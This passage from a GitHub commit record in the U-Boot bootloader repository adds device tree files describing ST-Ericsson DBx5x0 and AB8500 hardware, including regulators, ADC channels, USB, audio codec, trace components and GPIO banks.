<2>;\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-rtc {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-rtc\";\n+\t\t\t\t\tinterrupts = <17 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 18 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\t\tinterrupt-names = \"60S\", \"ALARM\";\n+\t\t\t\t};\n+\n+\t\t\t\tgpadc: ab8500-gpadc {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-gpadc\";\n+\t\t\t\t\tinterrupts = <32 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 39 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\t\tinterrupt-names = \"HW_CONV_END\", \"SW_CONV_END\";\n+\t\t\t\t\tvddadc-supply = <&ab8500_ldo_adc_reg>;\n+\t\t\t\t\t#address-cells = <1>;\n+\t\t\t\t\t#size-cells = <0>;\n+\t\t\t\t\t#io-channel-cells = <1>;\n+\n+\t\t\t\t\t/* GPADC channels */\n+\t\t\t\t\tbat_ctrl: channel@01 {\n+\t\t\t\t\t\treg = <0x01>;\n+\t\t\t\t\t};\n+\t\t\t\t\tbtemp_ball: channel@02 {\n+\t\t\t\t\t\treg = <0x02>;\n+\t\t\t\t\t};\n+\t\t\t\t\tacc_detect1: channel@04 {\n+\t\t\t\t\t\treg = <0x04>;\n+\t\t\t\t\t};\n+\t\t\t\t\tacc_detect2: channel@05 {\n+\t\t\t\t\t\treg = <0x05>;\n+\t\t\t\t\t};\n+\t\t\t\t\tadc_aux1: channel@06 {\n+\t\t\t\t\t\treg = <0x06>;\n+\t\t\t\t\t};\n+\t\t\t\t\tadc_aux2: channel@07 {\n+\t\t\t\t\t\treg = <0x07>;\n+\t\t\t\t\t};\n+\t\t\t\t\tmain_batt_v: channel@08 {\n+\t\t\t\t\t\treg = <0x08>;\n+\t\t\t\t\t};\n+\t\t\t\t\tvbus_v: channel@09 {\n+\t\t\t\t\t\treg = <0x09>;\n+\t\t\t\t\t};\n+\t\t\t\t\tcharger_c: channel@0b {\n+\t\t\t\t\t\treg = <0x0b>;\n+\t\t\t\t\t};\n+\t\t\t\t\tbk_bat_v: channel@0c {\n+\t\t\t\t\t\treg = <0x0c>;\n+\t\t\t\t\t};\n+\t\t\t\t\tusb_id: channel@0e {\n+\t\t\t\t\t\treg = <0x0e>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_battery: ab8500_battery {\n+\t\t\t\t\tstatus = \"disabled\";\n+\t\t\t\t\tthermistor-on-batctrl;\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_fg {\n+\t\t\t\t\tstatus = \"disabled\";\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-fg\";\n+\t\t\t\t\tbattery = <&ab8500_battery>;\n+\t\t\t\t\tio-channels = <&gpadc 0x08>;\n+\t\t\t\t\tio-channel-name = \"main_bat_v\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_btemp {\n+\t\t\t\t\tstatus = \"disabled\";\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-btemp\";\n+\t\t\t\t\tbattery = <&ab8500_battery>;\n+\t\t\t\t\tio-channels = <&gpadc 0x02>,\n+\t\t\t\t\t\t <&gpadc 0x01>;\n+\t\t\t\t\tio-channel-name = \"btemp_ball\",\n+\t\t\t\t\t\t\t \"bat_ctrl\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_charger {\n+\t\t\t\t\tstatus = \"disabled\";\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-charger\";\n+\t\t\t\t\tbattery = <&ab8500_battery>;\n+\t\t\t\t\tvddadc-supply = <&ab8500_ldo_adc_reg>;\n+\t\t\t\t\tio-channels = <&gpadc 0x09>,\n+\t\t\t\t\t\t <&gpadc 0x0b>;\n+\t\t\t\t\tio-channel-name = \"vbus_v\",\n+\t\t\t\t\t\t\t \"usb_charger_c\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_chargalg {\n+\t\t\t\t\tstatus = \"disabled\";\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-chargalg\";\n+\t\t\t\t\tbattery = <&ab8500_battery>;\n+\t\t\t\t};\n+\n+\t\t\t\tab8500_usb: ab8500_usb {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-usb\";\n+\t\t\t\t\tinterrupts = < 90 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 96 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 14 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 15 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 79 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 74 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 75 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\t\tinterrupt-names = \"ID_WAKEUP_R\",\n+\t\t\t\t\t\t\t \"ID_WAKEUP_F\",\n+\t\t\t\t\t\t\t \"VBUS_DET_F\",\n+\t\t\t\t\t\t\t \"VBUS_DET_R\",\n+\t\t\t\t\t\t\t \"USB_LINK_STATUS\",\n+\t\t\t\t\t\t\t \"USB_ADP_PROBE_PLUG\",\n+\t\t\t\t\t\t\t \"USB_ADP_PROBE_UNPLUG\";\n+\t\t\t\t\tvddulpivio18-supply = <&ab8500_ldo_intcore_reg>;\n+\t\t\t\t\tv-ape-supply = <&db8500_vape_reg>;\n+\t\t\t\t\tmusb_1v8-supply = <&db8500_vsmps2_reg>;\n+\t\t\t\t\tclocks = <&prcmu_clk PRCMU_SYSCLK>;\n+\t\t\t\t\tclock-names = \"sysclk\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-ponkey {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-poweron-key\";\n+\t\t\t\t\tinterrupts = <6 IRQ_TYPE_LEVEL_HIGH\n+\t\t\t\t\t\t 7 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\t\t\tinterrupt-names = \"ONKEY_DBF\", \"ONKEY_DBR\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-sysctrl {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-sysctrl\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-pwm {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-pwm\";\n+\t\t\t\t\tclocks = <&ab8500_clock AB8500_SYSCLK_INT>;\n+\t\t\t\t\tclock-names = \"intclk\";\n+\t\t\t\t};\n+\n+\t\t\t\tab8500-debugfs {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-debug\";\n+\t\t\t\t};\n+\n+\t\t\t\tcodec: ab8500-codec {\n+\t\t\t\t\tcompatible = \"stericsson,ab8500-codec\";\n+\n+\t\t\t\t\tV-AUD-supply = <&ab8500_ldo_audio_reg>;\n+\t\t\t\t\tV-AMIC1-supply = <&ab8500_ldo_anamic1_reg>;\n+\t\t\t\t\tV-AMIC2-supply = <&ab8500_ldo_anamic2_reg>;\n+\n+\t\t\t\t\tclocks = <&ab8500_clock AB8500_SYSCLK_AUDIO>;\n+\t\t\t\t\tclock-names = \"audioclk\";\n+\n+\t\t\t\t\tstericsson,earpeice-cmv = <950>; /* Units in mV. */\n+\t\t\t\t};\n+\n+\t\t\t\tab8505-regulators {\n+\t\t\t\t\tcompatible = \"stericsson,ab8505-regulator\";\n+\n+\t\t\t\t\tab8500_ldo_aux1_reg: ab8500_ldo_aux1 {\n+\t\t\t\t\t\tregulator-min-microvolt = <2800000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <3300000>;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\tab8500_ldo_aux2_reg: ab8500_ldo_aux2 {\n+\t\t\t\t\t\tregulator-min-microvolt = <1100000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <3300000>;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\tab8500_ldo_aux3_reg: ab8500_ldo_aux3 {\n+\t\t\t\t\t\tregulator-min-microvolt = <1100000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <3300000>;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\tab8500_ldo_aux4_reg: ab8500_ldo_aux4 {\n+\t\t\t\t\t\tregulator-min-microvolt = <1100000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <3300000>;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\tab8500_ldo_aux5_reg: ab8500_ldo_aux5 {\n+\t\t\t\t\t\tregulator-min-microvolt = <1050000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <2790000>;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\tab8500_ldo_aux6_reg: ab8500_ldo_aux6 {\n+\t\t\t\t\t\tregulator-min-microvolt = <1050000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <2790000>;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for v-intcore12; VINTCORE12 LDO\n+\t\t\t\t\tab8500_ldo_intcore_reg: ab8500_ldo_intcore {\n+\t\t\t\t\t\tregulator-min-microvolt = <1250000>;\n+\t\t\t\t\t\tregulator-max-microvolt = <1350000>;\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for gpadc; ADC LDO\n+\t\t\t\t\tab8500_ldo_adc_reg: ab8500_ldo_adc {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for ab8500-vaudio; VAUDIO LDO\n+\t\t\t\t\tab8500_ldo_audio_reg: ab8500_ldo_audio {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for v-anamic1 VAMIC1 LDO\n+\t\t\t\t\tab8500_ldo_anamic1_reg: ab8500_ldo_anamic1 {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for v-amic2; VAMIC2 LDO; reuse constants for AMIC1\n+\t\t\t\t\tab8500_ldo_anamic2_reg: ab8500_ldo_anamic2 {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for v-aux8; VAUX8 LDO\n+\t\t\t\t\tab8500_ldo_aux8_reg: ab8500_ldo_aux8 {\n+\t\t\t\t\t};\n+\n+\t\t\t\t\t// supply for U8500 CSI/DSI; VANA LDO\n+\t\t\t\t\tab8500_ldo_ana_reg: ab8500_ldo_ana {\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\n+\t\tsound {\n+\t\t\tstericsson,audio-codec = <&codec>;\n+\t\t\tclocks = <&prcmu_clk PRCMU_SYSCLK>, <&ab8500_clock AB8500_SYSCLK_ULP>, <&ab8500_clock AB8500_SYSCLK_INT>;\n+\t\t\tclock-names = \"sysclk\", \"ulpclk\", \"intclk\";\n+\t\t};\n+\n+\t\tmcde@a0350000 {\n+\t\t\tvana-supply = <&ab8500_ldo_ana_reg>;\n+\n+\t\t\tdsi@a0351000 {\n+\t\t\t\tvana-supply = <&ab8500_ldo_ana_reg>;\n+\t\t\t};\n+\t\t\tdsi@a0352000 {\n+\t\t\t\tvana-supply = <&ab8500_ldo_ana_reg>;\n+\t\t\t};\n+\t\t\tdsi@a0353000 {\n+\t\t\t\tvana-supply = <&ab8500_ldo_ana_reg>;\n+\t\t\t};\n+\t\t};\n+\t};\n+};"}<_**next**_>{"sha": "4a99ee5a923faab980d675aab5d9234f8bf6f987", "filename": "arch/arm/dts/ste-dbx5x0-u-boot.dtsi", "status": "added", "additions": 29, "deletions": 0, "changes": 29, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-dbx5x0-u-boot.dtsi", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-dbx5x0-u-boot.dtsi", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/dts/ste-dbx5x0-u-boot.dtsi?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,29 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+\n+#include \"skeleton.dtsi\"\n+#include \"ste-dbx5x0.dtsi\"\n+\n+/ {\n+\tsoc {\n+\t\t/* FIXME: Remove this when clk driver is implemented */\n+\t\tmtu@a03c6000 {\n+\t\t\tclock-frequency = <133000000>;\n+\t\t};\n+\t\tuart@80120000 {\n+\t\t\tclock = <38400000>;\n+\t\t};\n+\t\tuart@80121000 {\n+\t\t\tclock = <38400000>;\n+\t\t};\n+\t\tuart@80007000 {\n+\t\t\tclock = <38400000>;\n+\t\t};\n+\t};\n+\n+\treboot {\n+\t\tcompatible = \"syscon-reboot\";\n+\t\tregmap = <&prcmu>;\n+\t\toffset = <0x228>; /* PRCM_APE_SOFTRST */\n+\t\tmask = <0x1>;\n+\t};\n+};"}<_**next**_>{"sha": "6671f74c9f03d939f8d1245a32e3429dc2ab5751", "filename": "arch/arm/dts/ste-dbx5x0.dtsi", "status": "added", "additions": 1144, "deletions": 0, "changes": 1144, "blob_url": "https://github.com/u-boot/u-boot/blob/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-dbx5x0.dtsi", "raw_url": "https://github.com/u-boot/u-boot/raw/2c871f9e084b2c03d1961884228a6901387ab8d6/arch/arm/dts/ste-dbx5x0.dtsi", "contents_url": "https://api.github.com/repos/u-boot/u-boot/contents/arch/arm/dts/ste-dbx5x0.dtsi?ref=2c871f9e084b2c03d1961884228a6901387ab8d6", "patch": "@@ -0,0 +1,1144 @@\n+// SPDX-License-Identifier: GPL-2.0-or-later\n+/*\n+ * Copyright 2012 Linaro Ltd\n+ */\n+\n+#include <dt-bindings/interrupt-controller/irq.h>\n+#include <dt-bindings/interrupt-controller/arm-gic.h>\n+#include <dt-bindings/mfd/dbx500-prcmu.h>\n+#include <dt-bindings/arm/ux500_pm_domains.h>\n+#include <dt-bindings/gpio/gpio.h>\n+#include <dt-bindings/thermal/thermal.h>\n+\n+/ {\n+\t#address-cells = <1>;\n+\t#size-cells = <1>;\n+\n+\t/* This stablilizes the device enumeration */\n+\taliases {\n+\t\ti2c0 = &i2c0;\n+\t\ti2c1 = &i2c1;\n+\t\ti2c2 = &i2c2;\n+\t\ti2c3 = &i2c3;\n+\t\ti2c4 = &i2c4;\n+\t\tspi0 = &spi0;\n+\t\tspi1 = &spi1;\n+\t\tspi2 = &spi2;\n+\t\tspi3 = &spi3;\n+\t\tserial0 = &serial0;\n+\t\tserial1 = &serial1;\n+\t\tserial2 = &serial2;\n+\t};\n+\n+\tchosen {\n+\t};\n+\n+\tcpus {\n+\t\t#address-cells = <1>;\n+\t\t#size-cells = <0>;\n+\t\tenable-method = \"ste,dbx500-smp\";\n+\n+\t\tcpu-map {\n+\t\t\tcluster0 {\n+\t\t\t\tcore0 {\n+\t\t\t\t\tcpu = <&CPU0>;\n+\t\t\t\t};\n+\t\t\t\tcore1 {\n+\t\t\t\t\tcpu = <&CPU1>;\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\t\tCPU0: cpu@300 {\n+\t\t\tdevice_type = \"cpu\";\n+\t\t\tcompatible = \"arm,cortex-a9\";\n+\t\t\treg = <0x300>;\n+\t\t\tclocks = <&prcmu_clk PRCMU_ARMSS>;\n+\t\t\tclock-names = \"cpu\";\n+\t\t\tclock-latency = <20000>;\n+\t\t\t#cooling-cells = <2>;\n+\t\t};\n+\t\tCPU1: cpu@301 {\n+\t\t\tdevice_type = \"cpu\";\n+\t\t\tcompatible = \"arm,cortex-a9\";\n+\t\t\treg = <0x301>;\n+\t\t};\n+\t};\n+\n+\tthermal-zones {\n+\t\t/*\n+\t\t * Thermal zone for the SoC, using the thermal sensor in the\n+\t\t * PRCMU for temperature and the cpufreq driver for passive\n+\t\t * cooling.\n+\t\t */\n+\t\tcpu_thermal: cpu-thermal {\n+\t\t\tpolling-delay-passive = <250>;\n+\t\t\t/*\n+\t\t\t * This sensor fires interrupts to update the thermal\n+\t\t\t * zone, so no polling is needed.\n+\t\t\t */\n+\t\t\tpolling-delay = <0>;\n+\n+\t\t\tthermal-sensors = <&thermal>;\n+\n+\t\t\ttrips {\n+\t\t\t\tcpu_alert: cpu-alert {\n+\t\t\t\t\ttemperature = <70000>;\n+\t\t\t\t\thysteresis = <2000>;\n+\t\t\t\t\ttype = \"passive\";\n+\t\t\t\t};\n+\t\t\t\tcpu-crit {\n+\t\t\t\t\ttemperature = <85000>;\n+\t\t\t\t\thysteresis = <0>;\n+\t\t\t\t\ttype = \"critical\";\n+\t\t\t\t};\n+\t\t\t};\n+\n+\t\t\tcooling-maps {\n+\t\t\t\ttrip = <&cpu_alert>;\n+\t\t\t\tcooling-device = <&CPU0 THERMAL_NO_LIMIT THERMAL_NO_LIMIT>;\n+\t\t\t\tcontribution = <100>;\n+\t\t\t};\n+\t\t};\n+\t};\n+\n+\tsoc {\n+\t\t#address-cells = <1>;\n+\t\t#size-cells = <1>;\n+\t\tcompatible = \"stericsson,db8500\", \"simple-bus\";\n+\t\tinterrupt-parent = <&intc>;\n+\t\tranges;\n+\n+\t\tptm@801ae000 {\n+\t\t\tcompatible = \"arm,coresight-etm3x\", \"arm,primecell\";\n+\t\t\treg = <0x801ae000 0x1000>;\n+\n+\t\t\tclocks = <&prcmu_clk PRCMU_APETRACECLK>, <&prcmu_clk PRCMU_APEATCLK>;\n+\t\t\tclock-names = \"apb_pclk\", \"atclk\";\n+\t\t\tcpu = <&CPU0>;\n+\t\t\tout-ports {\n+\t\t\t\tport {\n+\t\t\t\t\tptm0_out_port: endpoint {\n+\t\t\t\t\t\tremote-endpoint = <&funnel_in_port0>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\n+\t\tptm@801af000 {\n+\t\t\tcompatible = \"arm,coresight-etm3x\", \"arm,primecell\";\n+\t\t\treg = <0x801af000 0x1000>;\n+\n+\t\t\tclocks = <&prcmu_clk PRCMU_APETRACECLK>, <&prcmu_clk PRCMU_APEATCLK>;\n+\t\t\tclock-names = \"apb_pclk\", \"atclk\";\n+\t\t\tcpu = <&CPU1>;\n+\t\t\tout-ports {\n+\t\t\t\tport {\n+\t\t\t\t\tptm1_out_port: endpoint {\n+\t\t\t\t\t\tremote-endpoint = <&funnel_in_port1>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\n+\t\tfunnel@801a6000 {\n+\t\t\tcompatible = \"arm,coresight-dynamic-funnel\", \"arm,primecell\";\n+\t\t\treg = <0x801a6000 0x1000>;\n+\n+\t\t\tclocks = <&prcmu_clk PRCMU_APETRACECLK>, <&prcmu_clk PRCMU_APEATCLK>;\n+\t\t\tclock-names = \"apb_pclk\", \"atclk\";\n+\t\t\tout-ports {\n+\t\t\t\tport {\n+\t\t\t\t\tfunnel_out_port: endpoint {\n+\t\t\t\t\t\tremote-endpoint =\n+\t\t\t\t\t\t\t<&replicator_in_port0>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\n+\t\t\tin-ports {\n+\t\t\t\t#address-cells = <1>;\n+\t\t\t\t#size-cells = <0>;\n+\n+\t\t\t\tport@0 {\n+\t\t\t\t\treg = <0>;\n+\t\t\t\t\tfunnel_in_port0: endpoint {\n+\t\t\t\t\t\tremote-endpoint = <&ptm0_out_port>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\n+\t\t\t\tport@1 {\n+\t\t\t\t\treg = <1>;\n+\t\t\t\t\tfunnel_in_port1: endpoint {\n+\t\t\t\t\t\tremote-endpoint = <&ptm1_out_port>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\n+\t\treplicator {\n+\t\t\tcompatible = \"arm,coresight-static-replicator\";\n+\t\t\tclocks = <&prcmu_clk PRCMU_APEATCLK>;\n+\t\t\tclock-names = \"atclk\";\n+\n+\t\t\tout-ports {\n+\t\t\t\t#address-cells = <1>;\n+\t\t\t\t#size-cells = <0>;\n+\n+\t\t\t\tport@0 {\n+\t\t\t\t\treg = <0>;\n+\t\t\t\t\treplicator_out_port0: endpoint {\n+\t\t\t\t\t\tremote-endpoint = <&tpiu_in_port>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t\tport@1 {\n+\t\t\t\t\treg = <1>;\n+\t\t\t\t\treplicator_out_port1: endpoint {\n+\t\t\t\t\t\tremote-endpoint = <&etb_in_port>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\n+\t\t\tin-ports {\n+\t\t\t\tport {\n+\t\t\t\t\treplicator_in_port0: endpoint {\n+\t\t\t\t\t\tremote-endpoint = <&funnel_out_port>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\n+\t\ttpiu@80190000 {\n+\t\t\tcompatible = \"arm,coresight-tpiu\", \"arm,primecell\";\n+\t\t\treg = <0x80190000 0x1000>;\n+\n+\t\t\tclocks = <&prcmu_clk PRCMU_APETRACECLK>, <&prcmu_clk PRCMU_APEATCLK>;\n+\t\t\tclock-names = \"apb_pclk\", \"atclk\";\n+\t\t\tin-ports {\n+\t\t\t\tport {\n+\t\t\t\t\ttpiu_in_port: endpoint {\n+\t\t\t\t\t\tremote-endpoint = <&replicator_out_port0>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\n+\t\tetb@801a4000 {\n+\t\t\tcompatible = \"arm,coresight-etb10\", \"arm,primecell\";\n+\t\t\treg = <0x801a4000 0x1000>;\n+\n+\t\t\tclocks = <&prcmu_clk PRCMU_APETRACECLK>, <&prcmu_clk PRCMU_APEATCLK>;\n+\t\t\tclock-names = \"apb_pclk\", \"atclk\";\n+\t\t\tin-ports {\n+\t\t\t\tport {\n+\t\t\t\t\tetb_in_port: endpoint {\n+\t\t\t\t\t\tremote-endpoint = <&replicator_out_port1>;\n+\t\t\t\t\t};\n+\t\t\t\t};\n+\t\t\t};\n+\t\t};\n+\n+\t\tintc: interrupt-controller@a0411000 {\n+\t\t\tcompatible = \"arm,cortex-a9-gic\";\n+\t\t\t#interrupt-cells = <3>;\n+\t\t\t#address-cells = <1>;\n+\t\t\tinterrupt-controller;\n+\t\t\treg = <0xa0411000 0x1000>,\n+\t\t\t <0xa0410100 0x100>;\n+\t\t};\n+\n+\t\tscu@a0410000 {\n+\t\t\tcompatible = \"arm,cortex-a9-scu\";\n+\t\t\treg = <0xa0410000 0x100>;\n+\t\t};\n+\n+\t\t/*\n+\t\t * The backup RAM is used for retention during sleep\n+\t\t * and various things like spin tables\n+\t\t */\n+\t\tbackupram@80150000 {\n+\t\t\tcompatible = \"ste,dbx500-backupram\";\n+\t\t\treg = <0x80150000 0x2000>;\n+\t\t};\n+\n+\t\tL2: l2-cache {\n+\t\t\tcompatible = \"arm,pl310-cache\";\n+\t\t\treg = <0xa0412000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 13 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tcache-unified;\n+\t\t\tcache-level = <2>;\n+\t\t};\n+\n+\t\tpmu {\n+\t\t\tcompatible = \"arm,cortex-a9-pmu\";\n+\t\t\tinterrupts = <GIC_SPI 7 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t};\n+\n+\t\tpm_domains: pm_domains0 {\n+\t\t\tcompatible = \"stericsson,ux500-pm-domains\";\n+\t\t\t#power-domain-cells = <1>;\n+\t\t};\n+\n+\t\tclocks {\n+\t\t\tcompatible = \"stericsson,u8500-clks\";\n+\t\t\t/*\n+\t\t\t * Registers for the CLKRST block on peripheral\n+\t\t\t * groups 1, 2, 3, 5, 6,\n+\t\t\t */\n+\t\t\treg = <0x8012f000 0x1000>, <0x8011f000 0x1000>,\n+\t\t\t <0x8000f000 0x1000>, <0xa03ff000 0x1000>,\n+\t\t\t <0xa03cf000 0x1000>;\n+\n+\t\t\tprcmu_clk: prcmu-clock {\n+\t\t\t\t#clock-cells = <1>;\n+\t\t\t};\n+\n+\t\t\tprcc_pclk: prcc-periph-clock {\n+\t\t\t\t#clock-cells = <2>;\n+\t\t\t};\n+\n+\t\t\tprcc_kclk: prcc-kernel-clock {\n+\t\t\t\t#clock-cells = <2>;\n+\t\t\t};\n+\n+\t\t\trtc_clk: rtc32k-clock {\n+\t\t\t\t#clock-cells = <0>;\n+\t\t\t};\n+\n+\t\t\tsmp_twd_clk: smp-twd-clock {\n+\t\t\t\t#clock-cells = <0>;\n+\t\t\t};\n+\t\t};\n+\n+\t\tmtu@a03c6000 {\n+\t\t\t/* Nomadik System Timer */\n+\t\t\tcompatible = \"st,nomadik-mtu\";\n+\t\t\treg = <0xa03c6000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 4 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tclocks = <&prcmu_clk PRCMU_TIMCLK>, <&prcc_pclk 6 6>;\n+\t\t\tclock-names = \"timclk\", \"apb_pclk\";\n+\t\t};\n+\n+\t\ttimer@a0410600 {\n+\t\t\tcompatible = \"arm,cortex-a9-twd-timer\";\n+\t\t\treg = <0xa0410600 0x20>;\n+\t\t\tinterrupts = <GIC_PPI 13 (GIC_CPU_MASK_RAW(3) | IRQ_TYPE_LEVEL_HIGH)>;\n+\n+\t\t\tclocks = <&smp_twd_clk>;\n+\t\t};\n+\n+\t\twatchdog@a0410620 {\n+\t\t\tcompatible = \"arm,cortex-a9-twd-wdt\";\n+\t\t\treg = <0xa0410620 0x20>;\n+\t\t\tinterrupts = <GIC_PPI 14 (GIC_CPU_MASK_RAW(3) | IRQ_TYPE_LEVEL_HIGH)>;\n+\t\t\tclocks = <&smp_twd_clk>;\n+\t\t};\n+\n+\t\trtc@80154000 {\n+\t\t\tcompatible = \"arm,pl031\", \"arm,primecell\";\n+\t\t\treg = <0x80154000 0x1000>;\n+\t\t\tinterrupts = <GIC_SPI 18 IRQ_TYPE_LEVEL_HIGH>;\n+\n+\t\t\tclocks = <&rtc_clk>;\n+\t\t\tclock-names = \"apb_pclk\";\n+\t\t};\n+\n+\t\tgpio0: gpio@8012e000 {\n+\t\t\tcompatible = \"stericsson,db8500-gpio\",\n+\t\t\t\t\"st,nomadik-gpio\";\n+\t\t\treg = <0x8012e000 0x80>;\n+\t\t\tinterrupts = <GIC_SPI 119 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tst,supports-sleepmode;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\t\t\tgpio-bank = <0>;\n+\t\t\tgpio-ranges = <&pinctrl 0 0 32>;\n+\t\t\tclocks = <&prcc_pclk 1 9>;\n+\t\t};\n+\n+\t\tgpio1: gpio@8012e080 {\n+\t\t\tcompatible = \"stericsson,db8500-gpio\",\n+\t\t\t\t\"st,nomadik-gpio\";\n+\t\t\treg = <0x8012e080 0x80>;\n+\t\t\tinterrupts = <GIC_SPI 120 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tst,supports-sleepmode;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\t\t\tgpio-bank = <1>;\n+\t\t\tgpio-ranges = <&pinctrl 0 32 5>;\n+\t\t\tclocks = <&prcc_pclk 1 9>;\n+\t\t};\n+\n+\t\tgpio2: gpio@8000e000 {\n+\t\t\tcompatible = \"stericsson,db8500-gpio\",\n+\t\t\t\t\"st,nomadik-gpio\";\n+\t\t\treg = <0x8000e000 0x80>;\n+\t\t\tinterrupts = <GIC_SPI 121 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tst,supports-sleepmode;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\t\t\tgpio-bank = <2>;\n+\t\t\tgpio-ranges = <&pinctrl 0 64 32>;\n+\t\t\tclocks = <&prcc_pclk 3 8>;\n+\t\t};\n+\n+\t\tgpio3: gpio@8000e080 {\n+\t\t\tcompatible = \"stericsson,db8500-gpio\",\n+\t\t\t\t\"st,nomadik-gpio\";\n+\t\t\treg = <0x8000e080 0x80>;\n+\t\t\tinterrupts = <GIC_SPI 122 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tst,supports-sleepmode;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\t\t\tgpio-bank = <3>;\n+\t\t\tgpio-ranges = <&pinctrl 0 96 2>;\n+\t\t\tclocks = <&prcc_pclk 3 8>;\n+\t\t};\n+\n+\t\tgpio4: gpio@8000e100 {\n+\t\t\tcompatible = \"stericsson,db8500-gpio\",\n+\t\t\t\t\"st,nomadik-gpio\";\n+\t\t\treg = <0x8000e100 0x80>;\n+\t\t\tinterrupts = <GIC_SPI 123 IRQ_TYPE_LEVEL_HIGH>;\n+\t\t\tinterrupt-controller;\n+\t\t\t#interrupt-cells = <2>;\n+\t\t\tst,supports-sleepmode;\n+\t\t\tgpio-controller;\n+\t\t\t#gpio-cells = <2>;\n+\t\t\tgpio-bank = <4>;\n+\t\t\tgpio-ranges = <&pinctrl 0 128 32>;\n+\t\t\tclocks = <&prcc_pclk 3 8>;\n+\t\t};\n+\n+\t\tgpio5: gpio@8000e180 {\n+\t\t\tcompatible = \"stericsson,db8500-gpio\",\n+\t\t\t\t\"st,nomadik-gpio\";\n+\t\t\treg = <0x8000e180 0x80>;\n+\t\t\tinterrupts = <GIC_SPI 124 